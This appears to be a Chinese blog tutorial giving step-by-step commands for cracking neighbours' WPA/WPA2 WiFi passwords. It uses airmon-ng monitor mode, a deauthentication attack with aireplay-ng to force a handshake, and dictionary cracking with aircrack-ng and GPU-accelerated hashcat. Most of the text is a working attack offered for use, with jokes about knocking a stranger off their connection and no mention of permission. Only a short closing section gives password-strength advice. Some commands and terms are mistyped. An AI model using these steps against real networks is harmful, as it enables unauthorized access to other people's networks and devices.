现在，大部分家庭WiFi已普遍采用WPA/WPA2加密，相较于古老的WEB加密方式，安全性“相对”较高，但依旧存在着安全漏洞，破解WiFi密码的大致思路如下：

本文仅介绍通过抓取握手包的方式破解WPA/WPA2的密码，用到的工具是Kali Linux自带的airmon-ng，以及地表最强密码破解工具hashcat（可选）。

一、准备阶段

1.在虚拟机或物理机上安装Kali Linux，镜像包下载、安装文档详见官网kali.org

2.虚拟机需要外接USB无线网卡，这里推荐某宝上面，深圳宏欣发科技店铺的CIN-FAST RTL8812AU网卡，这款网卡是市面上最便宜的且能在Kali上使用的监听网卡，Linux安装驱动方法见我淘宝买家秀（宏欣打钱！！！）；

三、扫描阶段

打开终端，（快捷键Ctrl Alt T）；

1.输入sudo su以启用root账户；

2.输入iwconfig，查看网络设备；

3.输入airmon-ng start wlan0将网卡设置为监听模式；

4.输入airodunp-ng wlan0mon扫描周围的WiFi信号；

按Ctrl C停止扫描，选择信号较好的WiFi，准备破解。

四、抓包阶段

1.输入airodump-ng -w 保存的握手包名字 -c 信道 --bssid 要抓取路由器的MAC wlan0mon

2.输入aireplay-ng -0 5 -a 路由器的MAC -c 要抓取握手包的设备的MAC wlan0mon，这一步是踢下连接WiFi的设备，让其重新连接，抓取其握手包！（如果对方正在打王者，突然WiFi莫名其妙断了，多不好意思。所以-a 后面跟5就够了）；

3.输入aircrack-ng -w 抓取握手包名字.cap 字典文件.txt，这一步是破解加密的握手包来获取明文密码，Kali Linux自带字典，在/usr/share/wordlists/文件夹下面，这里我们选用rockyou.txt，将其复制到主目录，解压！然后稍等片刻，一般的密码就可以破解；

4.输入airmon-ng stop wlan0，将网卡退出监听模式，输入破解出来的WiFi密码，成功连上！！！

五、强加密破解后续

还有一种情况，密码设置的较为复杂，这个时候，我们就需要用到另一个专业密码破解工具：hashcat安装方法如下：

git clone https://github.com/hashcat/hashcat.git的源码，不建议打包下载，容易编译出错。

如果电脑有英伟达的独显，可以使用CUDA加速，需要提前安装cuda，安装方法详见英伟达官网https://developer.nvidia.com/zh-cn/cuda-downloads

注意：这里可以直接使用docker容器，如何pull run容器感兴趣的话，自行查阅。

1.进入项目目录，输入make -j12（j后面跟的是线程数量，）进行编译；

2.编译完成以后，sudo make install安装，

安装完成以后，输入hashcat -b进行基准测试。（Ctrl c停止）。

2.首先将抓取到的WiFi握手包.cap文件转成hashcat能够破解的.haccpx文件，输入aircrack-ng 抓取握手包的名字.cap -j 保存的哈希破解包名字，会在当前目录得到一个.haccpx文件；

3.输入hashcat -m 2500 -a 0 保存的哈希名字.hccapx 字典名字.txt，即可极速破解！（每秒可达10万个）

（老黄：我家显卡是让你这样用的？？？）

附录：hashcat是一款很强大的密码破解工具，不仅可以破解WiFi密码，还可以破解电脑系统、压缩包、文档等密码，破解方式除字典破解以外，也有很多种。

六、写在最后

虽然WPA/WPA2加密相较于WEB加密，安全性有所提高。但10位数及以下的弱密码，（字母数字的组合）即便在普通显卡的加持下，也能够迅速破解！更别说用于深度学习，训练模型用的GPU服务器，Tesla专业卡。

如图几十个GB的字典几乎涵盖大部分弱密

建议大家将WiFi密码设置10位以上数字、符号、字母的随机组合！不要使用电话号码、生日、姓名汉语拼音、以及ILOVEYOU之类的。普通人也仅仅蹭个网，但如果不法分子通过nmap hping3端口扫描工具，wireshark抓包工具，渗透我们的手机、电脑，甚至是智能家居设备，如网络摄像头，从事一些侵犯个人隐私，非法获取他人资料等行为！后果不堪设想！！！